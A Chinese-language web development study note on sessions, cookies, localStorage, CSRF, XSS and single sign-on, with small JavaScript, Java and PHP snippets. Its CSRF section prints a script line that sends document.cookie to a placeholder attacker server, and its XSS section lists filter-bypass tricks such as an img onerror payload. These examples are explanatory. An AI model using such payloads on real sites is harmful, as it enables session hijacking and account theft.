session與登陸機制

github 地址:戳這裏javascript

session

概念

  1. 指一類用來在客戶端與服務器之間保持狀態的解決方案
  2. 這種解決方案的存儲結構

特色

  • 因爲 Session 是以文本文件形式存儲在服務器端的,因此不怕客戶端修改 Session 內容。(也能夠用其餘存儲方式好比redisphp

  • Session對象是有生命週期的css

  • Session實例是輕量級的,所謂輕量級:是指他的建立和刪除不須要消耗太多資源html

  • Session對象內部有一個緩存java

用法

Session 對象存儲特定用戶會話所需的屬性及配置信息,在web頁跳轉時,信息將不會丟失node

一般用於如下操做

  1. 存儲整個會話過程當中保持用戶狀態的信息,好比登陸信息或者用戶瀏覽時產生的其它信息
  2. 存儲只須要在 頁從新加載 過程當中,或者 一組功能頁 之間保持狀態的對象
  3. 在 Web服務器上保持用戶的 狀態信息 供在任什麼時候間從任何設備上的頁面進行訪問。

限制

  1. 用戶登陸越多,session須要的內存量越大
  2. 每一個 Session 對象的持續時間是用戶訪問的時間加上不活動的時間。

爲什麼須要session

HTTP協議自己是無狀態的git

舉個喝咖啡的例子:github

一、該店的店員很厲害,能記住每位顧客的消費數量,只要顧客一走進咖啡店,店員就知道該怎麼對待了。這種作法就是協議自己支持狀態。web

二、發給顧客一張卡片,上面記錄着消費的數量,通常還有個有效期限。每次消費時,若是顧客出示這張卡片,則這次消費就會與之前或之後的消費相聯繫起來。這種作法就是在客戶端保持狀態。redis

三、發給顧客一張會員卡,除了卡號以外什麼信息也不紀錄,每次消費時,若是顧客出示該卡片,則店員在店裏的紀錄本上找到這個卡號對應的紀錄添加一些消費信息。這種作法就是在服務器端保持狀態。

具體機制

  1. 當程序須要爲某個客戶端的請求建立一個session的時候,服務器首先檢查這個客戶端的請求裏是否已包含了一個 session標識 - 稱爲session id,若是已包含一個session id則說明之前已經爲此客戶端建立過session,服務器就按照session id把這個session檢索出來使用(若是檢索不到,可能會新建一個),若是客戶端請求不包含session id,則爲此客戶端建立一個session而且生成一個與此session相關聯的session idsession id的值應該是一個 既不會重複,又不容易被找到規律以仿造的字符串 ,這個session id將被在本次響應中返回給客戶端保存。

  2. 因爲cookie能夠被人爲的禁止,必須有其餘機制以便在cookie被禁止時仍然可以把session id傳遞迴服務器。常常被使用的一種技術叫作URL重寫

    兩種形式:

    // 做爲url附加路徑
    'http://..../xxx;jsessionid=abcdefjijeoijoifjioe'
    
    
    // 做爲查詢字符串
    'http://..../xxx?jsessionid=abcdefjijeoijoifjioe'
    複製代碼
  3. 較老的技術,表單隱藏字段,此方法在防止csrf中有用

實現

基於cookie來實現用戶和數據的映射

將口令放在cookie中,口令一旦被褚昂愛,就丟失映射關係。一般session的有效期一般短,過時就將數據刪除

一旦服務器檢查到用戶請求cookie中沒有攜帶session_id,它會爲之生成一個值,這個值是惟一且不重複的值,並設定超時時間。若是過時就從新生成,若是沒有過時,就更新超時時間

var sessions = {};
var key = 'session_id';
var EXPIRES = 20*60*1000;
var generate  = function () {
	var session = {};
	session.id = (new Date().getTime()) + Math.random();
	session.cookie = {
		expire: (new Date()).getTime() + EXPIRES
	}
	sessions[session.id] = session
}

function (req, res) {
	var id = req.cookies[key];
	if (!id) {
		req.session = generate();
	} else {
		var session = sessions[id];
		if (session) {
			if (session.cookie.expire > new Date().getTime()) {
				session.cookie.expire = new Date().getTime() + EXPIRES;
				req.session = session;
			} else {
				delete sessions[id];
				req.session = generate();
			}
		} else {
			req.session = generate();
		}
	}
}
複製代碼

一種節省空間的作法

因爲關閉瀏覽器不會致使session被刪除,迫使服務器爲seesion設置了一個失效時間,當距離客戶端上一次使用session的時間超過這個失效時間時,服務器就能夠認爲客戶端已經中止了活動,纔會把session刪除以節省存儲空間

reference

http://justsee.iteye.com/blog/1570652

https://baike.baidu.com/item/session/479100?fr=aladdin

https://blog.csdn.net/hjc1984117/article/details/53995816

cookie

存儲在用戶本地終端的數據

http請求自動發送,跨域除外

用途

客戶端記錄用戶信息

特色

存儲在硬盤上的cookie能夠在不一樣的瀏覽器進程間共享,好比兩個IE窗口。而對於保存在內存裏的cookie,不一樣的瀏覽器有不一樣的處理方式。

屬性

  1. namecookie名稱
  2. valuecookie
  3. domain:能夠訪問cookie的域名,某一級域名能夠訪問上一級級域名的cookie
  4. expires/Max-Age:過時時間
  5. Sizecookie的大小
  6. httphttponly屬性,爲true,不能用document.cookie得到
  7. secure:爲true只能在https得到
  8. path:子路徑訪問父路徑cookie

建立cookie

document.cookie="username=John Doe; expires=Thu, 18 Dec 2013 12:00:00 GMT; path=/";

讀取cookie

document.cookie

修改cookie

document.cookie =

採用覆蓋的形式

刪除cookie

將過時時間設置爲過去時間便可

localStoragesessionStorage的區別

  1. 存儲大小

    • cookie數據大小不能超過4k。

    • sessionStoragelocalStorage 雖然也有存儲大小的限制,但比cookie大得多,能夠達到5M或更大。

  2. 有效時間

    • localStorage 存儲持久數據,瀏覽器關閉後數據不丟失除非主動刪除數據;

    • sessionStorage 數據在當前瀏覽器窗口關閉後自動刪除。

    • cookie 設置的cookie過時時間以前一直有效,即便窗口或瀏覽器關閉

  3. sessionStorage

    • 會話級別的存儲
    • 臨時性的,頁面打開有,頁面關閉沒有
    • 數據不共享
    • 經過a標籤來跳出一個頁面,則sessionStorage共享
  4. localStorage

    • 持久化的本地存儲
    • 永久性的存儲
    • 不能跨域
    • 數據共享
  5. cookie

    • cookie在同源且符合path規則的文檔之間共享
    • max-age用秒來設置cookie的生存期。
    • 若是max-age爲0,則表示刪除該cookie
    • 若是max-age爲負數,則表示該cookie僅在本瀏覽器窗口以及本窗口打開的子窗口內有效,關閉窗口後該cookie即失效。

如何獲得cookie

有兩個http頭部是專門負責設置以及發送cookie的,它們分別是 Set-Cookie 以及 Cookie 。當服務器返回給客戶端一個http響應信息時,其中若是包含Set-Cookie這個頭部時,意思就是指示客戶端創建一個cookie,而且在後續的http請求中自動發送這個cookie到服務器端,直到這個cookie過時。若是cookie的生存時間是整個會話期間的話,那麼瀏覽器會將cookie保存在內存中,瀏覽器關閉時就會自動清除這個cookie。另一種狀況就是保存在客戶端的硬盤中,瀏覽器關閉的話,該cookie也不會被清除,下次打開瀏覽器訪問對應網站時,這個cookie就會自動再次發送到服務器端。

cookie服務器端寫入

//java的寫法
response.setHeader("SET-COOKIE", key + "="+ value + ";Path=/;domain="+ domain + ";date="+date);

//php 中的寫法
setcookie(name,value,expire,path,domain,secure)
複製代碼

reference

https://my.oschina.net/ososchina/blog/339918

https://blog.csdn.net/dong123dddd/article/details/50388656

csrf(跨站請求僞造)

過程

  1. 用戶c打開瀏覽器,登陸網站a
  2. 登陸成功後,記錄登陸信息cookie
  3. 在網站a未退出的狀況下,打開網站b
  4. 網站b在收到用戶請求後返回攻擊性代碼,獲取網站acookie,併發出請求a網站(注意:這兒是兩步)
  5. 網站a誤覺得仍是用戶c發出的請求

竊取cookie

向被攻擊者的服務器頁面上注入一段javascript代碼(藉助xss跨站腳本攻擊)

document.location='http://AttackerServer/getCookie.php?cookie='+document.cookie;
複製代碼

防護

  1. 驗證http referer字段
  2. 在請求地址中添加token

系統開發者能夠在HTTP請求中以參數的形式加入一個隨機產生的token,並在服務器端創建一個攔截器來驗證這個token,若是請求中沒有token或者token內容不正確,則認爲多是CSRF攻擊而拒絕該請求。

  1. HTTP頭中自定義屬性並驗證(不會被泄露)

reference

http://www.freebuf.com/articles/web/11840.html

xss(跨站腳本攻擊)

分類

  1. 反射型(非持久型)

那些瀏覽器每次都要在參數中提交惡意數據才能觸發的跨站腳本漏洞。

可讓一個域名轉向到惡意URL,把那個域名發給用戶

  1. 存儲型(持久型)

指經過提交惡意數據到存儲器(好比數據庫、文本文件等),Web應用程序輸出的時候是從存儲器中讀出惡意數據輸出到頁面的一類跨站腳本漏洞。

常見攻擊方法

  1. 繞過xss-filter
  2. 利用img
  3. 空格,回車,tab來繞過過濾
  4. 利用事件如:<img src=「#」 onerror= 「alert(1)」/>
  5. css跨站:background-url
  6. 利用字符編碼

防護

  1. xss-filter,過濾標籤 2.httpOnly
  2. 將變量輸出到頁面時,要編碼

reference

http://www.cnblogs.com/wqhwe/p/5416976.html

單系統登陸

http無狀態協議

瀏覽器每次請求,服務器都單獨處理

要鑑別瀏覽器請求,又由於http是無狀態協議,因此須要服務器和瀏覽器共同維護一個狀態

會話機制

瀏覽器第一次請求服務器,建立一個會話id,並由瀏覽器存儲,之後每次請求都帶上,服務器取得後可判斷是不是同一個用戶

單系統利用cookie

登陸狀態

瀏覽器第一次請求服務器,須要驗證用戶名和密碼,經過與數據庫裏的做比較,驗證經過將會話標記爲「已受權」

之後每次請求都檢查登陸狀態

單點登陸(多系統登陸,single sign onsso)

用戶登陸註銷一次,就能夠在多個系統中獲得效果

因爲多系統的域不同,全部cookie會受到限制,瀏覽器發送http請求時會自動攜帶與該域匹配的cookie,而不是全部cookie

若是將domain設置爲頂級域名會有限制:

  1. 系統羣域名得統一
  2. 各系統使用的技術要相同
  3. cookie不安全

登陸

相比於單系統登陸,sso多了一個認證中心,只有認證中心接受用戶名和密碼等安全信息,其餘系統不提供登陸入口,只接受認證中心的間接受權。間接受權經過令牌實現,sso認證中心驗證用戶的用戶名密碼沒問題,建立受權令牌,在接下來的跳轉過程當中,受權令牌做爲參數發送給各個子系統,子系統拿到令牌,即獲得了受權,能夠藉此建立局部會話,局部會話登陸方式與單系統的登陸方式相同。這個過程,也就是單點登陸的原理,用下圖說明

image

用戶登陸成功以後,會與sso認證中心及各個子系統創建會話,用戶與sso認證中心創建的會話稱爲全局會話,用戶與各個子系統創建的會話稱爲局部會話,局部會話創建以後,用戶訪問子系統受保護資源將再也不經過sso認證中心

註銷

註銷

具體跳轉

假設認證中心和系統2的url分別是:sso.com、system2.com ,訪問 system2.com 時因未登陸而跳轉到 sso.com ,跳轉地址:http://sso.com?service=http://system2.com(不須要額外信息),此時,就變成了瀏覽器與 http://sso.com 站點之間的會話,這個會話由於系統1登陸的緣由已經被標記爲已登陸,因此認證中心取一塊令牌,根據service參數回跳,並附上令牌,回跳地址:http://system2.com?token=token

如何驗證登陸信息

  1. 不一樣域之間

  2. 同一域名不一樣站點

    • 共享cookie
  3. 同一域,不一樣子域

    • 存放sessionId的域都是上一級的

reference

https://www.cnblogs.com/wxj-106/p/8097880.html

http://www.cnblogs.com/ywlaker/p/6113927.html#!comments

相關文章
相關標籤/搜索